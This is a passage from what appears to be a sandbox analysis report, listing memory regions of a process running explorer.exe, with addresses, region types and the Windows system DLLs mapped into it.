entry_point = 0x0 region_type = private name = "private_0x000000000b1f0000" filename = "" Region: id = 579 start_va = 0xb270000 end_va = 0xb2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b270000" filename = "" Region: id = 580 start_va = 0xb670000 end_va = 0xb6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b670000" filename = "" Region: id = 581 start_va = 0xb6f0000 end_va = 0xb76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b6f0000" filename = "" Region: id = 582 start_va = 0xb8f0000 end_va = 0xb96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b8f0000" filename = "" Region: id = 583 start_va = 0xb9f0000 end_va = 0xc3effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b9f0000" filename = "" Region: id = 584 start_va = 0xc3f0000 end_va = 0xc8e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c3f0000" filename = "" Region: id = 585 start_va = 0xfd70000 end_va = 0xfdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fd70000" filename = "" Region: id = 586 start_va = 0xfdf0000 end_va = 0xfe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fdf0000" filename = "" Region: id = 587 start_va = 0xfe70000 end_va = 0xfeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fe70000" filename = "" Region: id = 588 start_va = 0xfef0000 end_va = 0xff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fef0000" filename = "" Region: id = 589 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 590 start_va = 0x180000000 end_va = 0x18087dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\micros~1\\office16\\1033\\grooveintlresource.dll") Region: id = 591 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 592 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 593 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 594 start_va = 0x7ff7a75c0000 end_va = 0x7ff7a7a07fff monitored = 0 entry_point = 0x7ff7a765e090 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 595 start_va = 0x7ff9fe250000 end_va = 0x7ff9fe29ffff monitored = 0 entry_point = 0x7ff9fe281220 region_type = mapped_file name = "windows.system.launcher.dll" filename = "\\Windows\\System32\\Windows.System.Launcher.dll" (normalized: "c:\\windows\\system32\\windows.system.launcher.dll") Region: id = 596 start_va = 0x7ff9fe460000 end_va = 0x7ff9ff12cfff monitored = 0 entry_point = 0x7ff9fe5ae880 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 597 start_va = 0x7ffa00140000 end_va = 0x7ffa001ebfff monitored = 0 entry_point = 0x7ffa001459c0 region_type = mapped_file name = "ieproxy.dll" filename = "\\Windows\\System32\\ieproxy.dll" (normalized: "c:\\windows\\system32\\ieproxy.dll") Region: id = 598 start_va = 0x7ffa00480000 end_va = 0x7ffa007c5fff monitored = 0 entry_point = 0x7ffa00488530 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 599 start_va = 0x7ffa007d0000 end_va = 0x7ffa0098ffff monitored = 0 entry_point = 0x7ffa007d9e40 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 600 start_va = 0x7ffa00990000 end_va = 0x7ffa00a17fff monitored = 0 entry_point = 0x7ffa009a4510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 601 start_va = 0x7ffa00a20000 end_va = 0x7ffa00c62fff monitored = 0 entry_point = 0x7ffa00a236c0 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 602 start_va = 0x7ffa00cf0000 end_va = 0x7ffa00d3ffff monitored = 0 entry_point = 0x7ffa00cfbe50 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 603 start_va = 0x7ffa00d40000 end_va = 0x7ffa00d81fff monitored = 0 entry_point = 0x7ffa00d42230 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 604 start_va = 0x7ffa00d90000 end_va = 0x7ffa00e08fff monitored = 0 entry_point = 0x7ffa00d922d0 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 605 start_va = 0x7ffa00e10000 end_va = 0x7ffa00e8afff monitored = 0 entry_point = 0x7ffa00e13af0 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 606 start_va = 0x7ffa00e90000 end_va = 0x7ffa00fe9fff monitored = 0 entry_point = 0x7ffa00e94610 region_type = mapped_file name = "windows.ui.shell.dll" filename = "\\Windows\\System32\\Windows.UI.Shell.dll" (normalized: "c:\\windows\\system32\\windows.ui.shell.dll") Region: id = 607 start_va = 0x7ffa00ff0000 end_va = 0x7ffa011edfff monitored = 0 entry_point = 0x7ffa00ff16c0 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 608 start_va = 0x7ffa011f0000 end_va = 0x7ffa01253fff monitored = 0 entry_point = 0x7ffa011f6b20 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 609 start_va = 0x7ffa01260000 end_va = 0x7ffa0126bfff monitored = 0 entry_point = 0x7ffa01261470 region_type = mapped_file name = "dsclient.dll" filename = "\\Windows\\System32\\dsclient.dll" (normalized: "c:\\windows\\system32\\dsclient.dll") Region: id = 610 start_va = 0x7ffa01360000 end_va = 0x7ffa014a0fff monitored = 0 entry_point = 0x7ffa01365f70 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 611 start_va = 0x7ffa014b0000 end_va = 0x7ffa01658fff monitored = 0 entry_point = 0x7ffa01504060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 612 start_va = 0x7ffa017f0000 end_va = 0x7ffa0182dfff monitored = 0 entry_point = 0x7ffa017f9650 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 613 start_va = 0x7ffa058a0000 end_va = 0x7ffa058fbfff monitored = 0 entry_point = 0x7ffa058b7190 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 614 start_va = 0x7ffa05900000 end_va = 0x7ffa05996fff monitored = 0 entry_point = 0x7ffa0590ddc0 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 615 start_va = 0x7ffa059a0000 end_va = 0x7ffa059abfff monitored = 0 entry_point = 0x7ffa059a14b0 region_type = mapped_file name = "notificationcontrollerps.dll" filename = "\\Windows\\System32\\NotificationControllerPS.dll" (normalized: "c:\\windows\\system32\\notificationcontrollerps.dll") Region: id = 616 start_va = 0x7ffa059c0000 end_va = 0x7ffa05c39fff monitored = 0 entry_point = 0x7ffa059da7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 617 start_va = 0x7ffa05c80000 end_va = 0x7ffa05ca5fff monitored = 0 entry_point = 0x7ffa05c95cb0 region_type = mapped_file name = "npsm.dll" filename = "\\Windows\\System32\\NPSM.dll" (normalized: "c:\\windows\\system32\\npsm.dll") Region: id = 618 start_va = 0x7ffa05cb0000 end_va = 0x7ffa05cdafff monitored = 0 entry_point = 0x7ffa05cb4240 region_type = mapped_file name = "abovelockapphost.dll" filename = "\\Windows\\System32\\AboveLockAppHost.dll" (normalized: "c:\\windows\\system32\\abovelockapphost.dll") Region: id = 619 start_va = 0x7ffa05ce0000 end_va = 0x7ffa05d27fff monitored = 0 entry_point = 0x7ffa05cea430 region_type = mapped_file name = "notificationobjfactory.dll" filename = "\\Windows\\System32\\NotificationObjFactory.dll" (normalized: "c:\\windows\\system32\\notificationobjfactory.dll") Region: id = 620 start_va = 0x7ffa05d30000 end_va = 0x7ffa05db5fff monitored = 0 entry_point = 0x7ffa05d51e10 region_type = mapped_file name = "notificationcontroller.dll" filename = "\\Windows\\System32\\NotificationController.dll" (normalized: "c:\\windows\\system32\\notificationcontroller.dll") Region: id = 621 start_va = 0x7ffa05e50000 end_va = 0x7ffa05e6afff monitored = 0 entry_point = 0x7ffa05e5af40 region_type = mapped_file name = "capauthz.dll" filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll") Region: id = 622 start_va = 0x7ffa05e90000 end_va = 0x7ffa05f69fff monitored = 0 entry_point = 0x7ffa05ec3c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 623 start_va = 0x7ffa05f70000 end_va = 0x7ffa06035fff monitored = 0 entry_point = 0x7ffa05f73ac0 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 624 start_va = 0x7ffa06040000 end_va = 0x7ffa06076fff monitored = 0 entry_point = 0x7ffa060420a0 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 625 start_va = 0x7ffa06080000 end_va = 0x7ffa063b9fff monitored = 0 entry_point = 0x7ffa06088520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 626 start_va = 0x7ffa063c0000 end_va = 0x7ffa063cbfff monitored = 0 entry_point = 0x7ffa063c4150 region_type = mapped_file name = "vcruntime140_1.dll" filename = "\\Windows\\System32\\vcruntime140_1.dll" (normalized: "c:\\windows\\system32\\vcruntime140_1.dll") Region: id = 627 start_va = 0x7ffa063d0000 end_va = 0x7ffa06460fff monitored = 0 entry_point = 0x7ffa06422430 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 628 start_va = 0x7ffa06470000 end_va = 0x7ffa06488fff monitored = 0 entry_point = 0x7ffa0647ee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 629 start_va = 0x7ffa06490000 end_va = 0x7ffa066a3fff monitored = 0 entry_point = 0x7ffa06491000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\micros~1\\office16\\grooveex.dll") Region: id = 630 start_va = 0x7ffa066b0000 end_va = 0x7ffa066bcfff monitored = 0 entry_point = 0x7ffa066b1ea0 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 631 start_va = 0x7ffa066c0000 end_va = 0x7ffa0670cfff monitored = 0 entry_point = 0x7ffa066d7de0 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 632 start_va = 0x7ffa06710000 end_va = 0x7ffa0682ffff monitored = 0 entry_point = 0x7ffa06748310 region_type = mapped_file name = "applicationframe.dll" filename = "\\Windows\\System32\\ApplicationFrame.dll" (normalized: "c:\\windows\\system32\\applicationframe.dll") Region: id = 633 start_va = 0x7ffa06830000 end_va = 0x7ffa06855fff monitored = 0 entry_point = 0x7ffa06831cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 634 start_va = 0x7ffa06860000 end_va = 0x7ffa0693afff monitored = 0 entry_point = 0x7ffa068728b0 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 635 start_va = 0x7ffa06960000 end_va = 0x7ffa06981fff monitored = 0 entry_point = 0x7ffa06962580 region_type = mapped_file name = "wcmapi.dll" filename = "\\Windows\\System32\\wcmapi.dll" (normalized: "c:\\windows\\system32\\wcmapi.dll") Region: id = 636 start_va = 0x7ffa069a0000 end_va = 0x7ffa069b5fff monitored = 0 entry_point = 0x7ffa069a1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 637 start_va = 0x7ffa069c0000 end_va = 0x7ffa069cbfff monitored = 0 entry_point = 0x7ffa069c18b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 638 start_va = 0x7ffa069d0000 end_va = 0x7ffa06a1cfff monitored = 0 entry_point = 0x7ffa069dd180 region_type = mapped_file name = "windows.immersiveshell.serviceprovider.dll" filename = "\\Windows\\System32\\windows.immersiveshell.serviceprovider.dll" (normalized: "c:\\windows\\system32\\windows.immersiveshell.serviceprovider.dll") Region: id = 639 start_va = 0x7ffa06a20000 end_va = 0x7ffa0752afff monitored = 0 entry_point = 0x7ffa06b6a540 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 640 start_va = 0x7ffa07530000 end_va = 0x7ffa0757ffff monitored = 0 entry_point = 0x7ffa07532580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 641 start_va = 0x7ffa07580000 end_va = 0x7ffa07a1ffff monitored = 0 entry_point = 0x7ffa07618740 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 642 start_va = 0x7ffa07bd0000 end_va = 0x7ffa07c19fff monitored = 0 entry_point = 0x7ffa07bd5800 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\System32\\DataExchange.dll" (normalized: "c:\\windows\\system32\\dataexchange.dll") Region: id = 643 start_va = 0x7ffa07fa0000 end_va = 0x7ffa07fb4fff monitored = 0 entry_point = 0x7ffa07fa5740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 644 start_va = 0x7ffa07fc0000 end_va = 0x7ffa0800afff monitored = 0 entry_point = 0x7ffa07fd1590 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 645 start_va = 0x7ffa08010000 end_va = 0x7ffa08079fff monitored = 0 entry_point = 0x7ffa08025e90 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 646 start_va = 0x7ffa08080000 end_va = 0x7ffa080e4fff monitored = 0 entry_point = 0x7ffa08084c50 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 647 start_va = 0x7ffa080f0000 end_va = 0x7ffa08363fff monitored = 0 entry_point = 0x7ffa08160400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 648 start_va = 0x7ffa08370000 end_va = 0x7ffa08384fff monitored = 0 entry_point = 0x7ffa08372c90 region_type = mapped_file name = "settingsyncpolicy.dll" filename = "\\Windows\\System32\\SettingSyncPolicy.dll" (normalized: "c:\\windows\\system32\\settingsyncpolicy.dll") Region: id = 649 start_va = 0x7ffa084a0000 end_va = 0x7ffa08598fff monitored = 0 entry_point = 0x7ffa084e8000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 650 start_va = 0x7ffa085c0000 end_va = 0x7ffa0884dfff monitored = 0 entry_point = 0x7ffa08690f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 651 start_va = 0x7ffa08a00000 end_va = 0x7ffa08a0bfff monitored = 0 entry_point = 0x7ffa08a035c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 652 start_va = 0x7ffa08aa0000 end_va = 0x7ffa08aaffff monitored = 0 entry_point = 0x7ffa08aa3d50 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\System32\\pcacli.dll" (normalized: "c:\\windows\\system32\\pcacli.dll") Region: id = 653 start_va = 0x7ffa08ab0000 end_va = 0x7ffa08ac6fff monitored = 0 entry_point = 0x7ffa08ab2790 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 654 start_va = 0x7ffa08ad0000 end_va = 0x7ffa08adffff monitored = 0 entry_point = 0x7ffa08ad78e0 region_type = mapped_file name = "atlthunk.dll" filename = "\\Windows\\System32\\atlthunk.dll" (normalized: "c:\\windows\\system32\\atlthunk.dll") Region: id = 655 start_va = 0x7ffa08ba0000 end_va = 0x7ffa08c50fff monitored = 0 entry_point = 0x7ffa08bb08f0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 656 start_va = 0x7ffa08e00000 end_va = 0x7ffa08e1efff monitored = 0 entry_point = 0x7ffa08e037e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 657 start_va = 0x7ffa08e20000 end_va = 0x7ffa08e98fff monitored = 0 entry_point = 0x7ffa08e276a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 658 start_va = 0x7ffa08eb0000 end_va = 0x7ffa08eeffff monitored = 0 entry_point = 0x7ffa08ec6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 659 start_va = 0x7ffa09580000 end_va = 0x7ffa09737fff monitored = 0 entry_point = 0x7ffa095ee630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 660 start_va = 0x7ffa09dd0000 end_va = 0x7ffa09e63fff monitored = 0 entry_point = 0x7ffa09e09210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 661 start_va = 0x7ffa09e70000 end_va = 0x7ffa0a112fff monitored = 0 entry_point = 0x7ffa09e96190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 662 start_va = 0x7ffa0a120000 end_va = 0x7ffa0a134fff monitored = 0 entry_point = 0x7ffa0a121ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 663 start_va = 0x7ffa0a1c0000 end_va = 0x7ffa0a1eafff monitored = 0 entry_point = 0x7ffa0a1cc3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 664 start_va = 0x7ffa0a1f0000 end_va = 0x7ffa0a2fcfff monitored = 0 entry_point = 0x7ffa0a21f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 665 start_va = 0x7ffa0a380000 end_va = 0x7ffa0a3defff monitored = 0 entry_point = 0x7ffa0a3abce0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 666 start_va = 0x7ffa0a490000 end_va = 0x7ffa0a55dfff monitored = 0 entry_point = 0x7ffa0a4c14c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 667 start_va = 0x7ffa0a790000 end_va = 0x7ffa0a9ecfff monitored = 0 entry_point = 0x7ffa0a818610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 668 start_va = 0x7ffa0a9f0000 end_va = 0x7ffa0a9f8fff monitored = 0 entry_point = 0x7ffa0a9f1480 region_type = mapped_file name = "wpportinglibrary.dll" filename = "\\Windows\\System32\\WpPortingLibrary.dll" (normalized: "c:\\windows\\system32\\wpportinglibrary.dll") Region: id = 669 start_va = 0x7ffa0ad90000 end_va = 0x7ffa0addafff monitored = 0 entry_point = 0x7ffa0ada7b70 region_type = mapped_file name = "veeventdispatcher.dll" filename = "\\Windows\\System32\\VEEventDispatcher.dll" (normalized: "c:\\windows\\system32\\veeventdispatcher.dll") Region: id = 670 start_va = 0x7ffa0afc0000 end_va = 0x7ffa0afd1fff monitored = 0 entry_point = 0x7ffa0afc3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 671 start_va = 0x7ffa0aff0000 end_va = 0x7ffa0affbfff monitored = 0 entry_point = 0x7ffa0aff1860 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 672 start_va = 0x7ffa0b000000 end_va = 0x7ffa0b01ffff monitored = 0 entry_point = 0x7ffa0b001920 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 673 start_va = 0x7ffa0b020000 end_va = 0x7ffa0b035fff monitored = 0 entry_point = 0x7ffa0b023380 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 674 start_va = 0x7ffa0b040000 end_va = 0x7ffa0b04afff monitored = 0 entry_point = 0x7ffa0b041a40 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 675 start_va = 0x7ffa0b050000 end_va = 0x7ffa0b06afff monitored = 0 entry_point = 0x7ffa0b051040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 676 start_va = 0x7ffa0b070000 end_va = 0x7ffa0b2f7fff monitored = 0 entry_point = 0x7ffa0b0cf670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 677 start_va = 0x7ffa0b320000 end_va = 0x7ffa0b32dfff monitored = 0 entry_point = 0x7ffa0b321460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 678 start_va = 0x7ffa0b920000 end_va = 0x7ffa0b98cfff monitored = 0 entry_point = 0x7ffa0b92d750 region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 679 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 680 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 681 start_va = 0x7ffa0bac0000 end_va = 0x7ffa0bae7fff monitored = 0 entry_point = 0x7ffa0bac8c10 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 682 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 683 start_va = 0x7ffa0bbe0000 end_va = 0x7ffa0bc8dfff monitored = 0 entry_point = 0x7ffa0bbf80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 684 start_va = 0x7ffa0be20000 end_va = 0x7ffa0bebffff monitored = 0 entry_point = 0x7ffa0be90910 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 685 start_va = 0x7ffa0bec0000 end_va = 0x7ffa0bfe0fff monitored = 0 entry_point = 0x7ffa0bec1cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 686 start_va = 0x7ffa0c160000 end_va = 0x7ffa0c1adfff monitored = 0 entry_point = 0x7ffa0c171ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 687 start_va = 0x7ffa0c1b0000 end_va = 0x7ffa0c1e4fff monitored = 0 entry_point = 0x7ffa0c1b3cc0 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 688 start_va = 0x7ffa0c1f0000 end_va = 0x7ffa0c212fff monitored = 0 entry_point = 0x7ffa0c1f99a0 region_type = mapped_file name = "networkstatus.dll" filename = "\\Windows\\System32\\NetworkStatus.dll" (normalized: "c:\\windows\\system32\\networkstatus.dll") Region: id = 689 start_va = 0x7ffa0c300000 end_va = 0x7ffa0c318fff monitored = 0 entry_point = 0x7ffa0c304520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 690 start_va = 0x7ffa0c8f0000 end_va = 0x7ffa0c990fff monitored = 0 entry_point = 0x7ffa0c8f3db0 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 691 start_va = 0x7ffa0c9c0000 end_va = 0x7ffa0ca2ffff monitored = 0 entry_point = 0x7ffa0c9e2960 region_type = mapped_file name = "mmdevapi.dll" 